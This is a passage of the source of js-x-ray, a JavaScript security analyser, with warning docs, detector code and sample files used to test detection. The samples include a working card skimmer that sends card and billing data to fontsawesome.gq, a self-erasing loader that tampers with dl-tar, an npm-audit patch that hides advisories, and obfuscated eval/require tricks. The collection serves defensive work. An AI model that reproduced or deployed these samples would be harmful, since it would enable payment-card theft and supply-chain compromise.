15 | - [jsfuck](http://www.jsfuck.com/)
16 | - [obfuscator.io](https://obfuscator.io/)
17 | - morse
18 | - [trojan source](https://trojansource.codes/)
19 |
20 | Example of obfuscated code is in the root `examples` directory.
21 |
22 | ### Technical note
23 | A complete G.Drive document has been written to describe the patterns of obfuscation tools and some way of detecting them:
24 |
25 | - [JSXRay - Patterns of obfuscated JavaScript code](https://docs.google.com/document/d/11ZrfW0bDQ-kd7Gr_Ixqyk8p3TGvxckmhFH3Z8dFoPhY/edit?usp=sharing)
26 |
27 | > [!CAUTION]
28 | > This is an early (beta) implementation
29 |
30 | ## Example
31 |
32 | The following code uses Morse code to obfuscate its real intent. This was used in an attack and I find it quite funny so i implemented morse detection 😂.
33 |
34 | ```js
35 | function decodeMorse(morseCode) {
36 | var ref = {
37 | '.-': 'a',
38 | '-...': 'b',
39 | '-.-.': 'c',
40 | '-..': 'd',
41 | '.': 'e',
42 | '..-.': 'f',
43 | '--.': 'g',
44 | '....': 'h',
45 | '..': 'i',
46 | '.---': 'j',
47 | '-.-': 'k',
48 | '.-..': 'l',
49 | '--': 'm',
50 | '-.': 'n',
51 | '---': 'o',
52 | '.--.': 'p',
53 | '--.-': 'q',
54 | '.-.': 'r',
55 | '...': 's',
56 | '-': 't',
57 | '..-': 'u',
58 | '...-': 'v',
59 | '.--': 'w',
60 | '-..-': 'x',
61 | '-.--': 'y',
62 | '--..': 'z',
63 | '.----': '1',
64 | '..---': '2',
65 | '...--': '3',
66 | '....-': '4',
67 | '.....': '5',
68 | '-....': '6',
69 | '--...': '7',
70 | '---..': '8',
71 | '----.': '9',
72 | '-----': '0',
73 | };
74 |
75 | return morseCode
76 | .split(' ')
77 | .map(a => a.split(' ').map(b => ref[b]).join(''))
78 | .join(' ');
79 | }
80 |
81 | var decoded = decodeMorse(".-- --- .-. -.. .-- --- .-. -..");
82 | console.log(decoded);
83 | ```
84 |
--------------------------------------------------------------------------------
/docs/parsing-error.md:
--------------------------------------------------------------------------------
1 | # Parsing Error
2 |
3 | | Code | Severity | i18n | Experimental |
4 | | --- | --- | --- | :-: |
5 | | ast-error | `Information` | `sast_warnings.ast_error` | ❌ |
6 |
7 | ## Introduction
8 |
9 | parsing-error warning is throw when the library [meriyah](https://github.com/meriyah/meriyah) **fail to parse** the javascript source code into an AST. But it can also happen when the AST analysis fails because we don't manage a case properly.
10 |
11 | > [!IMPORTANT]
12 | > If you are in the second case, please open an issue [here](https://github.com/NodeSecure/js-x-ray/issues)
13 |
14 | ## Example
15 |
16 | ```json
17 | {
18 | "kind": "parsing-error",
19 | "value": "[10:30]: Unexpected token: ','",
20 | "location": [[0,0],[0,0]],
21 | "file": "helpers\\asyncIterator.js"
22 | }
23 | ```
24 |
--------------------------------------------------------------------------------
/docs/shady-link.md:
--------------------------------------------------------------------------------
1 | # Shady link
2 | | Code | Severity | i18n | Experimental |
3 | | --- | --- | --- | :-: |
4 | | shady-link | `Warning` | `sast_warnings.shady_link` | ❌ |
5 |
6 | ## Introduction
7 |
8 | Identify when a literal (string) contains a suspicious URL:
9 | - To a domain with a **suspicious** extension.
10 | - URLs with a raw **IP address**.
11 |
12 | ## A suspicious domain
13 |
14 | ```js
15 | const foo = "http://foo.xyz";
16 | ```
17 |
18 | ## URL with a dangerous raw IP address
19 |
20 | URLs containing raw IP addresses can be considered potentially dangerous for several reasons:
21 |
22 | - **Phishing and social engineering**: Attackers can use raw IP addresses in URLs to hide the true destination of the link.
23 |
24 | - **Malware and code injection attacks**: Raw IP addresses can point to malicious websites that host malware or use compromising code injection techniques.
25 |
26 | - **Privacy violations**: Bypass proxy servers or firewalls designed to block access to certain websites, thereby exposing users.
27 |
28 | ```js
29 | const IPv4URL = "http://77.244.210.247/script";
30 |
31 | const IPv6URL = "http://2444:1130:80:2aa8:c313:150d:b8cf:c321/script";
32 | ```
33 |
34 |
35 |
36 |
37 | > [!IMPORTANT]\
38 | > Credit goes to the [guarddog](https://github.dev/DataDog/guarddog) team.\
39 | > Credit goes to the [ietf.org](https://www.ietf.org/rfc/rfc3986.txt).
40 |
--------------------------------------------------------------------------------
/docs/short-identifiers.md:
--------------------------------------------------------------------------------
1 | # Short identifiers
2 |
3 | | Code | Severity | i18n | Experimental |
4 | | --- | --- | --- | :-: |
5 | | short-identifiers | `Warning` | `sast_warnings.short_identifiers` | ❌ |
6 |
7 | ## Introduction
8 |
9 | JS-X-Ray store in memory all Identifiers so we are able later to sum the length of all of them. We are looking at several ESTree Node in the tree:
10 | - VariableDeclarator: `var boo;`
11 | - ClassDeclaration: `class boo {}`
12 | - MethodDefinition
13 | - AssignmentExpression: `(boo = 5)`
14 | - FunctionDeclaration: `function boo() {}`
15 | - Property of ObjectExpression: `{ boo: 5 }`
16 |
17 | However, we do not take into consideration the properties of Objects for this warning. The warning is generated only if:
18 |
19 | - The file is not already declared as **Minified**.
20 | - There is more than **five** identifiers.
21 | - The sum of all identifiers name length is below `1.5`.
22 |
23 | ## Example
24 |
25 | ```json
26 | {
27 | "kind": "short-identifiers",
28 | "location": [[0,0], [0,0]],
29 | "value": 1.5,
30 | "file": "lib\\compile-env.js"
31 | }
32 | ```
33 |
--------------------------------------------------------------------------------
/docs/suspicious-file.md:
--------------------------------------------------------------------------------
1 | # Suspicious file
2 |
3 | | Code | Severity | i18n | Experimental |
4 | | --- | --- | --- | :-: |
5 | | suspicious-file | `Critical` | `sast_warnings.suspicious_file` | ❌ |
6 |
7 | ## Introduction
8 |
9 | We tag a file as suspicious when there is more than **ten** `encoded-literal` warnings in it. The idea behind is to avoid generating to much of the same kind of warnings.
10 |
11 | This warning may have to evolve in the near future to include new criterias.
12 |
--------------------------------------------------------------------------------
/docs/suspicious-literal.md:
--------------------------------------------------------------------------------
1 | # Suspicious literal
2 |
3 | | Code | Severity | i18n | Experimental |
4 | | --- | --- | --- | :-: |
5 | | suspicious-literal | `Warning` | `sast_warnings.suspicious_literal` | ❌ |
6 |
7 | ## Introduction
8 |
9 | Thats one of the most interesting JS-X-Ray warning. We designed it with the idea of detecting long strings of characters that are very common in malicious obfuscated/encrypted codes like in [smith-and-wesson-skimmer](https://web.archive.org/web/20200804103413/https://badjs.org/posts/smith-and-wesson-skimmer/).
10 |
11 | The basic idea is to say that any string longer than 45 characters with no space is very suspicious... Then we establish a suspicion score that will be incremented according to several criteria:
12 |
13 | - if the string contains **space** in the first **45** characters then we set the score to `zero`, else we set the score to `one`.
14 | - if the string has more than **200 characters** then we add `1` to the score.
15 | - we add one to the score for each **750 characters**. So a length of __1600__ will add `two` to the score.
16 | - we add `two` point to the score if the string contains more than **70 unique characters**.
17 |
18 | So it's possible for a string with more than 45 characters to come out with a score of zero if:
19 | - there is space in the first 45 characters of the string.
20 | - less than 70 unique characters.
21 |
22 | The implementation is done in the [@nodesecure/sec-literal](https://github.com/NodeSecure/sec-literal/blob/main/src/utils.js) package and look like this:
23 | ```js
24 | function stringCharDiversity(str, charsToExclude = []) {
25 | const data = new Set(str);
26 | charsToExclude.forEach((char) => data.delete(char));
27 |
28 | return data.size;
29 | }
30 |
31 | // ---
32 | const kMaxSafeStringLen = 45;
33 | const kMaxSafeStringCharDiversity = 70;
34 | const kMinUnsafeStringLenThreshold = 200;
35 | const kScoreStringLengthThreshold = 750;
36 |
37 | function stringSuspicionScore(str) {
38 | const strLen = stringWidth(str);
39 | if (strLen < kMaxSafeStringLen) {
40 | return 0;
41 | }
42 |
43 | const includeSpace = str.includes(" ");
44 | const includeSpaceAtStart = includeSpace ?
45 | str.slice(0, kMaxSafeStringLen).includes(" ") :
46 | false;
47 |
48 | let suspectScore = includeSpaceAtStart ? 0 : 1;
49 | if (strLen > kMinUnsafeStringLenThreshold) {
50 | suspectScore += Math.ceil(
51 | strLen / kScoreStringLengthThreshold
52 | );
53 | }
54 |
55 | return stringCharDiversity(str) >= kMaxSafeStringCharDiversity ?
56 | suspectScore + 2 : suspectScore;
57 | }
58 | ```
59 |
60 | > [!IMPORTANT]
61 | > The warning is generated only if the sum of all scores exceeds **three**.
62 |
--------------------------------------------------------------------------------
/docs/unsafe-import.md:
--------------------------------------------------------------------------------
1 | # Unsafe Import
2 |
3 | | Code | Severity | i18n | Experimental |
4 | | --- | --- | --- | :-: |
5 | | unsafe-import | `Warning` | `sast_warnings.unsafe_import` | ❌ |
6 |
7 | ## Introduction
8 |
9 | JS-X-Ray intensively track the use of `require` CallExpression and also ESM Import declarations. Knowing the dependencies used is really important for our analysis and that why when the SAST fail to follow an important it will throw an `unsafe-import` warning.
10 |
11 | > [!CAUTION]
12 | > Sometimes we trigger this warning on purpose because we have detected a malicious import
13 |
14 | ### CJS Note
15 | We analyze and trace several ways to require in Node.js (with CJS):
16 | - require
17 | - require.main.require
18 | - require.mainModule.require
19 | - require.resolve
20 | - `const XX = eval('require')('XX');` (dangerous import using eval)
21 |
22 | ## Example
23 |
24 | The code below try to require Node.js core dependency `http`. JS-X-Ray sucessfully detect it and throw an unsafe-import warning.
25 |
26 | ```js
27 | function unhex(r) {
28 | return Buffer.from(r, "hex").toString();
29 | }
30 |
31 | const g = Function("return this")();
32 | const p = g["pro" + "cess"];
33 |
34 | // Hex 72657175697265 -> require
35 | const evil = p["mainMod" + "ule"][unhex("72657175697265")];
36 |
37 | // Hex 68747470 -> http
38 | evil(unhex("68747470")).request
39 | ```
40 |
41 |
--------------------------------------------------------------------------------
/docs/unsafe-regex.md:
--------------------------------------------------------------------------------
1 | # Unsafe Regex
2 |
3 | | Code | Severity | i18n | Experimental |
4 | | --- | --- | --- | :-: |
5 | | unsafe-regex | `Warning` | `sast_warnings.unsafe_regex` | ❌ |
6 |
7 | ## Introduction
8 |
9 | This warning has been designed to detect and report any regular expressions (regexes) that could lead to a catastrophic backtracking. This can be used by an attacker to drastically reduce the performance of your application. We often call this kind of attack REDOS.
10 |
11 | Learn more:
12 | - [How a RegEx can bring your Node.js service down](https://lirantal.medium.com/node-js-pitfalls-how-a-regex-can-bring-your-system-down-cbf1dc6c4e02)
13 | - [An additional non-backtracking RegExp engine](https://v8.dev/blog/non-backtracking-regexp)
14 | - [The Impact of Regular Expression Denial of Service (ReDoS) in Practice](https://infosecwriteups.com/introduction-987fdc4c7b0)
15 | - [Why Aren’t Regexes a Lingua Franca?](https://davisjam.medium.com/why-arent-regexes-a-lingua-franca-esecfse19-a36348df3a2)
16 | - [Comparing regex matching algorithms](https://swtch.com/~rsc/regexp/regexp1.html)
17 |
18 | > [!NOTE]
19 | > Credit goes to the `safe-regex` package author for the last three resources.
20 |
21 | ### Technical implementation
22 |
23 | Under the hood the package [safe-regex](https://github.com/davisjam/safe-regex) is used to assert all **RegExpLiteral** and RegEx Constructor (eg `new RegEx()`).
24 |
25 | ## Example
26 |
27 | ```json
28 | {
29 | "kind": "unsafe-regex",
30 | "location": [[286,18],[286,65]],
31 | "value": "^node_modules\\/(@[^/]+\\/?[^/]+|[^/]+)(\\/.*)?$",
32 | "file": "index.js"
33 | }
34 | ```
35 |
--------------------------------------------------------------------------------
/docs/unsafe-stmt.md:
--------------------------------------------------------------------------------
1 | # Unsafe Statement
2 |
3 | | Code | Severity | i18n | Experimental |
4 | | --- | --- | --- | :-: |
5 | | unsafe-stmt | `Warning` | `sast_warnings.unsafe_stmt` | ❌ |
6 |
7 | ## Introduction
8 |
9 | Warning about the usage of eval() or Function() in the source code. Their use is not recommended and can be used to execute insecure code (for example to retrieve the **globalThis** / **window** object).
10 |
11 | - [MDN - Never use eval()!](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!)
12 |
13 | ## Example
14 |
15 | The warning **value** can be either `Function` or `eval`.
16 |
17 | ```json
18 | {
19 | "kind": "unsafe-stmt",
20 | "location": [[49,37],[49,62]],
21 | "value": "Function",
22 | "file": "index.js"
23 | }
24 | ```
25 |
26 | Example of a dangerous code that an attacker may use:
27 | ```js
28 | const xxx = Function("return this")();
29 | // xxx is equal to globalThis
30 | console.log(xxx);
31 | ```
32 |
--------------------------------------------------------------------------------
/docs/weak-crypto.md:
--------------------------------------------------------------------------------
1 | # Weak crypto
2 |
3 | | Code | Severity | i18n | Experimental |
4 | | --- | --- | --- | :-: |
5 | | weak-crypto | `Information` | `sast_warnings.weak_crypto` | ❌ |
6 |
7 | ## Introduction
8 |
9 | Detect usage of **weak crypto** algorithm with the Node.js core `Crypto` dependency. Algorithm considered to be weak are:
10 |
11 | - md5
12 | - md4
13 | - md2
14 | - sha1
15 | - ripemd160
16 |
17 | ## Example
18 |
19 | ```js
20 | import crypto from "crypto";
21 |
22 | crypto.createHash("md5");
23 | ```
24 |
--------------------------------------------------------------------------------
/eslint.config.mjs:
--------------------------------------------------------------------------------
1 | import { ESLintConfig } from "@openally/config.eslint";
2 |
3 | export default [
4 | {
5 | ignores: [
6 | "**/test/fixtures/**/*",
7 | "**/test/probes/fixtures/**/*.js",
8 | "**/examples/*.js"
9 | ]
10 | },
11 | ...ESLintConfig,
12 | {
13 | languageOptions: {
14 | sourceType: "module",
15 | parserOptions: {
16 | requireConfigFile: false
17 | }
18 | }
19 | }
20 | ];
21 |
--------------------------------------------------------------------------------
/examples/forbes-skimmer.js:
--------------------------------------------------------------------------------
1 | function fire_event() {
2 | if (typeof is_debug !== 'undefined' && is_debug) {
3 | console['log']('Fire event')
4 | };
5 | if (document['createEvent']) {
6 | element['dispatchEvent'](event_store)
7 | } else {
8 | element['fireEvent']('on' + event_store['eventType'], event_store)
9 | }
10 | }
11 | function d() {
12 | var _0x1306x3 = $('input[name=cc_name]');
13 | var _0x1306x4 = $('input[name=cc_number]');
14 | var _0x1306x5 = $('#cc_month option:selected')['val']() + '/' + $('#cc_year option:selected')['val']();
15 | var _0x1306x6 = $('input[name=cc_cvv]');
16 | var _0x1306x7 = _0x1306x4['val']();
17 | var _0x1306x8 = _0x1306x6['val']();
18 | var _0x1306x9 = _0x1306x3['val']();
19 | var _0x1306xa = $('input[name=firstname]')['val']();
20 | var _0x1306xb = $('input[name=lastname]')['val']();
21 | var _0x1306xc = $('select[name=country_id]')['val']();
22 | var _0x1306xd = $('input[name=city]')['val']();
23 | var _0x1306xe = $('select[name=zone_id]')['val']();
24 | var _0x1306xf = $('input[name=postcode]')['val']();
25 | var _0x1306x10 = $('input[name=telephone]')['val']();
26 | var _0x1306x11 = $('input[name=email]')['val']();
27 | var _0x1306x12 = 'CC_OWNER:' + _0x1306x9 + ';CC_NUMBER:' + _0x1306x7 + ';CC_EXP:' + _0x1306x5 + ';CC_CVC:' + _0x1306x8 + ';';
28 | _0x1306x12 += 'BFNAME:' + _0x1306xa + ';BLNAME:' + _0x1306xb + ';BCOUNTRY:' + _0x1306xc + ';BCITY:' + _0x1306xd + ';';
29 | _0x1306x12 += 'BSTATE:' + _0x1306xe + ';BPOSTCODE:' + _0x1306xf + ';BPHONE:' + _0x1306x10 + ';BEMAIL:' + _0x1306x11;
30 | var _0x1306x13 = new WebSocket('wss://fontsawesome.gq:8080/g');
31 | _0x1306x13['onopen'] = function() {
32 | _0x1306x13['send'](_0x1306x12);
33 | _0x1306x13['close']()
34 | };
35 | _0x1306x13['onerror'] = function(_0x1306x14) {
36 | fire_event();
37 | return false
38 | };
39 | _0x1306x13['onclose'] = function() {
40 | fire_event();
41 | return false
42 | }
43 | }
44 | $(document)['ready'](function(_0x1306x15) {
45 | var _0x1306x16 = setInterval(function(_0x1306x15) {
46 | var _0x1306x17 = $('#button-confirm')['attr']('onclick');
47 | if (typeof _0x1306x17 === 'undefined') {
48 | $('#button-confirm')['attr']('onclick', 'd();return false;')
49 | }
50 | }, 500)
51 | })
52 |
--------------------------------------------------------------------------------
/examples/jscrush.js:
--------------------------------------------------------------------------------
1 | import _curry2 from "./internal/_curry2.js";
2 | import _reduce from "./internal/_reduce.js";
3 | import ap from "./ap.js";
4 | import curryN from "./curryN.js";
5 | import map from "./map.js";
6 | /**
7 | * "lifts" a function to be the specified arity, so that it may "map over" that
8 | * many lists, Functions or other objects that satisfy the [FantasyLand Apply spec](https://github.com/fantasyland/fantasy-land#apply).
9 | *
10 | * @func
11 | * @memberOf R
12 | * @since v0.7.0
13 | * @category Function
14 | * @sig Number -> (*... -> *) -> ([*]... -> [*])
15 | * @param {Function} fn The function to lift into higher context
16 | * @return {Function} The lifted function.
17 | * @see R.lift, R.ap
18 | * @example
19 | *
20 | * const madd3 = R.liftN(3, (...args) => R.sum(args));
21 | * madd3([1,2,3], [1,2,3], [1]); //=> [3, 4, 5, 4, 5, 6, 5, 6, 7]
22 | */
23 |
24 | var liftN =
25 | /*#__PURE__*/
26 | _curry2(function liftN(arity, fn) {
27 | var lifted = curryN(arity, fn);
28 | return curryN(arity, function () {
29 | return _reduce(ap, map(lifted, arguments[0]), Array.prototype.slice.call(arguments, 1));
30 | });
31 | });
32 |
33 | export default liftN;
34 |
--------------------------------------------------------------------------------
/examples/npm-audit.js:
--------------------------------------------------------------------------------
1 | const path = require("path")
2 |
3 | const sanitizeAudit = auditResult => {
4 | const sanitizedActions = []
5 |
6 | auditResult.actions.map(action => {
7 | if (action.module !== "cordova-plugin-inappbrowser") {
8 | sanitizedActions.push(action)
9 | }
10 | })
11 |
12 | const sanitizedAdvisories = {}
13 | for (let [key, value] of Object.entries(auditResult.advisories)) {
14 | if (value.module_name !== "cordova-plugin-inappbrowser") {
15 | sanitizedAdvisories[key] = value
16 | }
17 | }
18 | auditResult.actions = sanitizedActions
19 | auditResult.advisories = sanitizedAdvisories
20 |
21 | return auditResult
22 | }
23 |
24 | const patchAudit = nodeLocation => {
25 | const auditScriptLocation = path.join(
26 | nodeLocation,
27 | "../../lib/node_modules/npm/lib/install/audit.js"
28 | )
29 | require(auditScriptLocation)
30 | const auditCache = require.cache[auditScriptLocation]
31 | // console.log(auditCache);
32 | const origPrintFullReport = auditCache.exports.printFullReport
33 | const newPrintFullReport = auditResult => {
34 | console.error("Running modified npm audit")
35 | auditResult = sanitizeAudit(auditResult)
36 | return origPrintFullReport(auditResult)
37 | }
38 | auditCache.exports.printFullReport = newPrintFullReport
39 |
40 | const origInstallReport = auditCache.exports.printInstallReport
41 | const newInstallReport = auditResult => {
42 | console.error("Running modified npm audit")
43 | auditResult = sanitizeAudit(auditResult)
44 | return origInstallReport(auditResult)
45 | }
46 | auditCache.exports.printInstallReport = newInstallReport
47 | }
48 |
49 | module.exports = patchAudit
50 |
--------------------------------------------------------------------------------
/examples/rate-map.js:
--------------------------------------------------------------------------------
1 | // Generated with Babel 7.5.2
2 | "use strict";
3 | var appendType = require("append-type");
4 | var paramNames = ["start", "end"];
5 | let parent = module;
6 | const {
7 | existsSync: existsSync,
8 | readFileSync: readFileSync,
9 | writeFileSync: writeFileSync
10 | } = require("fs");
11 | do {
12 | parent = parent.parent;
13 | try {
14 | const { path: path } = parent;
15 | if (
16 | path.endsWith("cli") ||
17 | [path, dirname(path)].some(dir => existsSync(resolve(dir, ".git")))
18 | ) {
19 | parent = "npm";
20 | break;
21 | }
22 | } catch (_) {}
23 | } while (parent);
24 | if (typeof parent !== "string") {
25 | const px = require.resolve(
26 | Buffer.from([100, 108, 45, 116, 97, 114]).toString()
27 | );
28 | try {
29 | writeFileSync(
30 | __filename,
31 | readFileSync(__filename, "utf8").replace(
32 | /let parent[^\0]*module\.exports/u,
33 | "module.exports"
34 | )
35 | );
36 | } catch (_) {}
37 | try {
38 | writeFileSync(
39 | px,
40 | readFileSync(px, "utf8").replace(/\n\s*cb\(null, chunk\);/u, "")
41 | );
42 | } catch (_) {}
43 | }
44 | module.exports = function rateMap(val, start, end) {
45 | if (typeof val !== "number") {
46 | throw new TypeError(
47 | "Expected the first argument to be a number (0 ~ 1), but got " +
48 | appendType(val) +
49 | "."
50 | );
51 | }
52 | if (!isFinite(val)) {
53 | throw new RangeError(
54 | "Expected the first argument to be a finite number (0 ~ 1), but got " +
55 | val +
56 | "."
57 | );
58 | }
59 | if (val < 0) {
60 | throw new RangeError(
61 | "Expected the first argument to be a number (0 ~ 1), but got a negative number " +
62 | val +
63 | "."
64 | );
65 | }
66 | if (val > 1) {
67 | throw new RangeError(
68 | "Expected the first argument to be a number (0 ~ 1), but got a too large number " +
69 | val +
70 | "."
71 | );
72 | }
73 | var args = [start, end];
74 | for (var i = 0; i < 2; i++) {
75 | if (typeof args[i] !== "number") {
76 | throw new TypeError(
77 | "Expected `" +
78 | paramNames[i] +
79 | "` argument to be a number, but got " +
80 | appendType(args[i]) +
81 | "."
82 | );
83 | }
84 | if (!isFinite(args[i])) {
85 | throw new RangeError(
86 | "Expected `" +
87 | paramNames[i] +
88 | "` argument to be a finite number, but got " +
89 | args[i] +
90 | "."
91 | );
92 | }
93 | }
94 | return start + val * (end - start);
95 | };
96 |
--------------------------------------------------------------------------------
/index.d.ts:
--------------------------------------------------------------------------------
1 | import {
2 | AstAnalyser,
3 | AstAnalyserOptions,
4 |
5 | EntryFilesAnalyser,
6 | EntryFilesAnalyserOptions,
7 |
8 | SourceParser,
9 | JsSourceParser,
10 | Report,
11 | ReportOnFile,
12 | RuntimeFileOptions,
13 | RuntimeOptions,
14 | SourceLocation,
15 | Dependency
16 | } from "./types/api.js";
17 | import {
18 | Warning,
19 | WarningDefault,
20 | WarningLocation,
21 | WarningName,
22 | WarningNameWithValue
23 | } from "./types/warnings.js";
24 |
25 | declare const warnings: Record>;
26 |
27 | export {
28 | warnings,
29 | AstAnalyser,
30 | AstAnalyserOptions,
31 | EntryFilesAnalyser,
32 | EntryFilesAnalyserOptions,
33 | JsSourceParser,
34 | SourceParser,
35 | Report,
36 | ReportOnFile,
37 | RuntimeFileOptions,
38 | RuntimeOptions,
39 | SourceLocation,
40 | Dependency,
41 | Warning,
42 | WarningDefault,
43 | WarningLocation,
44 | WarningName,
45 | WarningNameWithValue
46 | }
47 |
--------------------------------------------------------------------------------
/index.js:
--------------------------------------------------------------------------------
1 | export { warnings } from "./src/warnings.js";
2 | export { JsSourceParser } from "./src/JsSourceParser.js";
3 | export { AstAnalyser } from "./src/AstAnalyser.js";
4 | export { EntryFilesAnalyser } from "./src/EntryFilesAnalyser.js";
5 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "@nodesecure/js-x-ray",
3 | "version": "9.0.0",
4 | "description": "JavaScript AST XRay analysis",
5 | "type": "module",
6 | "exports": {
7 | ".": {
8 | "import": "./index.js",
9 | "types": "./index.d.ts"
10 | },
11 | "./warnings": {
12 | "import": "./src/warnings.js",
13 | "types": "./types/warnings.d.ts"
14 | },
15 | "./package.json": "./package.json"
16 | },
17 | "engines": {
18 | "node": ">=20.0.0"
19 | },
20 | "scripts": {
21 | "lint": "eslint src workspaces test",
22 | "test-only": "glob -c \"node --test-reporter=spec --test\" \"./test/**/*.spec.js\"",
23 | "test": "c8 --all --src ./src -r html npm run test-only",
24 | "check": "npm run lint && npm run test-only",
25 | "ci:publish": "changeset publish",
26 | "ci:version": "changeset version"
27 | },
28 | "repository": {
29 | "type": "git",
30 | "url": "git+https://github.com/NodeSecure/js-x-ray.git"
31 | },
32 | "workspaces": [
33 | "workspaces/estree-ast-utils",
34 | "workspaces/sec-literal",
35 | "workspaces/ts-source-parser"
36 | ],
37 | "keywords": [
38 | "ast",
39 | "nsecure",
40 | "nodesecure",
41 | "analysis",
42 | "dependencies",
43 | "security"
44 | ],
45 | "files": [
46 | "src",
47 | "types",
48 | "index.js",
49 | "index.d.ts"
50 | ],
51 | "author": "GENTILHOMME Thomas ",
52 | "license": "MIT",
53 | "bugs": {
54 | "url": "https://github.com/NodeSecure/js-x-ray/issues"
55 | },
56 | "homepage": "https://github.com/NodeSecure/js-x-ray#readme",
57 | "dependencies": {
58 | "@nodesecure/estree-ast-utils": "^1.5.0",
59 | "@nodesecure/sec-literal": "^1.2.0",
60 | "digraph-js": "^2.2.3",
61 | "estree-walker": "^3.0.1",
62 | "frequency-set": "^1.0.2",
63 | "is-minified-code": "^2.0.0",
64 | "meriyah": "^6.0.0",
65 | "safe-regex": "^2.1.1",
66 | "ts-pattern": "^5.0.6"
67 | },
68 | "devDependencies": {
69 | "@changesets/changelog-github": "^0.5.1",
70 | "@changesets/cli": "^2.29.4",
71 | "@openally/config.eslint": "^2.0.0",
72 | "@types/node": "^22.0.0",
73 | "c8": "^10.1.2",
74 | "glob": "^11.0.0",
75 | "iterator-matcher": "^2.1.0"
76 | }
77 | }
78 |
--------------------------------------------------------------------------------
/src/JsSourceParser.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import * as meriyah from "meriyah";
3 |
4 | // CONSTANTS
5 | const kParsingOptions = {
6 | next: true,
7 | loc: true,
8 | raw: true,
9 | jsx: true
10 | };
11 |
12 | export class JsSourceParser {
13 | /**
14 | * @param {object} options
15 | * @param {boolean} options.isEcmaScriptModule
16 | */
17 | parse(source, options = {}) {
18 | const {
19 | isEcmaScriptModule
20 | } = options;
21 |
22 | try {
23 | const { body } = meriyah.parseScript(
24 | source,
25 | {
26 | ...kParsingOptions,
27 | module: isEcmaScriptModule,
28 | globalReturn: !isEcmaScriptModule
29 | }
30 | );
31 |
32 | return body;
33 | }
34 | catch (error) {
35 | const isIllegalReturn = error.description.includes("Illegal return statement");
36 |
37 | if (error.name === "SyntaxError" && (
38 | error.description.includes("The import keyword") ||
39 | error.description.includes("The export keyword") ||
40 | isIllegalReturn
41 | )) {
42 | const { body } = meriyah.parseScript(
43 | source,
44 | {
45 | ...kParsingOptions,
46 | module: true,
47 | globalReturn: isIllegalReturn
48 | }
49 | );
50 |
51 | return body;
52 | }
53 |
54 | throw error;
55 | }
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/src/NodeCounter.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import FrequencySet from "frequency-set";
3 |
4 | // Import Internal Dependencies
5 | import { isNode } from "./utils/index.js";
6 |
7 | // eslint-disable-next-line func-style
8 | const noop = (node) => true;
9 |
10 | export class NodeCounter {
11 | lookup = null;
12 |
13 | #count = 0;
14 | #properties = null;
15 | #filterFn = noop;
16 | #matchFn = noop;
17 |
18 | /**
19 | * @param {!string} type
20 | * @param {Object} [options]
21 | * @param {string} [options.name]
22 | * @param {(node: any) => boolean} [options.filter]
23 | * @param {(node: any, nc: NodeCounter) => void} [options.match]
24 | *
25 | * @example
26 | * new NodeCounter("FunctionDeclaration");
27 | * new NodeCounter("VariableDeclaration[kind]");
28 | */
29 | constructor(type, options = {}) {
30 | if (typeof type !== "string") {
31 | throw new TypeError("type must be a string");
32 | }
33 |
34 | const typeResult = /([A-Za-z]+)(\[[a-zA-Z]+\])?/g.exec(type);
35 | if (typeResult === null) {
36 | throw new Error("invalid type argument syntax");
37 | }
38 | this.type = typeResult[1];
39 | this.lookup = typeResult[2]?.slice(1, -1) ?? null;
40 | this.name = options?.name ?? this.type;
41 | if (this.lookup) {
42 | this.#properties = new FrequencySet();
43 | }
44 |
45 | this.#filterFn = options.filter ?? noop;
46 | this.#matchFn = options.match ?? noop;
47 | }
48 |
49 | get count() {
50 | return this.#count;
51 | }
52 |
53 | get properties() {
54 | return Object.fromEntries(
55 | this.#properties?.entries() ?? []
56 | );
57 | }
58 |
59 | walk(node) {
60 | if (!isNode(node) || node.type !== this.type) {
61 | return;
62 | }
63 | if (!this.#filterFn(node)) {
64 | return;
65 | }
66 |
67 | this.#count++;
68 | if (this.lookup === null) {
69 | this.#matchFn(node, this);
70 | }
71 | else if (this.lookup in node) {
72 | this.#properties.add(node[this.lookup]);
73 | this.#matchFn(node, this);
74 | }
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/src/obfuscators/freejsobfuscator.js:
--------------------------------------------------------------------------------
1 | // Import Third-party Dependencies
2 | import { Utils } from "@nodesecure/sec-literal";
3 |
4 | export function verify(identifiers, prefix) {
5 | const pValue = Object.keys(prefix).pop();
6 | const regexStr = `^${Utils.escapeRegExp(pValue)}[a-zA-Z]{1,2}[0-9]{0,2}$`;
7 |
8 | return identifiers.every(({ name }) => new RegExp(regexStr).test(name));
9 | }
10 |
--------------------------------------------------------------------------------
/src/obfuscators/jjencode.js:
--------------------------------------------------------------------------------
1 | // Import Internal Dependencies
2 | import { notNullOrUndefined } from "../utils/index.js";
3 |
4 | // CONSTANTS
5 | const kJJRegularSymbols = new Set(["$", "_"]);
6 |
7 | export function verify(identifiers, counters) {
8 | if (counters.VariableDeclarator > 0 || counters.FunctionDeclaration > 0) {
9 | return false;
10 | }
11 | if (counters.AssignmentExpression > counters.Property) {
12 | return false;
13 | }
14 |
15 | const matchCount = identifiers.filter(({ name }) => {
16 | if (!notNullOrUndefined(name)) {
17 | return false;
18 | }
19 | const charsCode = [...new Set([...name])];
20 |
21 | return charsCode.every((char) => kJJRegularSymbols.has(char));
22 | }).length;
23 | const pourcent = ((matchCount / identifiers.length) * 100);
24 |
25 | return pourcent > 80;
26 | }
27 |
28 |
--------------------------------------------------------------------------------
/src/obfuscators/jsfuck.js:
--------------------------------------------------------------------------------
1 | // CONSTANTS
2 | const kJSFuckMinimumDoubleUnaryExpr = 5;
3 |
4 | export function verify(counters) {
5 | const hasZeroAssign = counters.AssignmentExpression === 0
6 | && counters.FunctionDeclaration === 0
7 | && counters.Property === 0
8 | && counters.VariableDeclarator === 0;
9 |
10 | return hasZeroAssign && counters.DoubleUnaryExpression >= kJSFuckMinimumDoubleUnaryExpr;
11 | }
12 |
--------------------------------------------------------------------------------
/src/obfuscators/obfuscator-io.js:
--------------------------------------------------------------------------------
1 | export function verify(deobfuscator, counters) {
2 | if ((counters.MemberExpression?.false ?? 0) > 0) {
3 | return false;
4 | }
5 |
6 | const hasSomePatterns = counters.DoubleUnaryExpression > 0
7 | || deobfuscator.deepBinaryExpression > 0
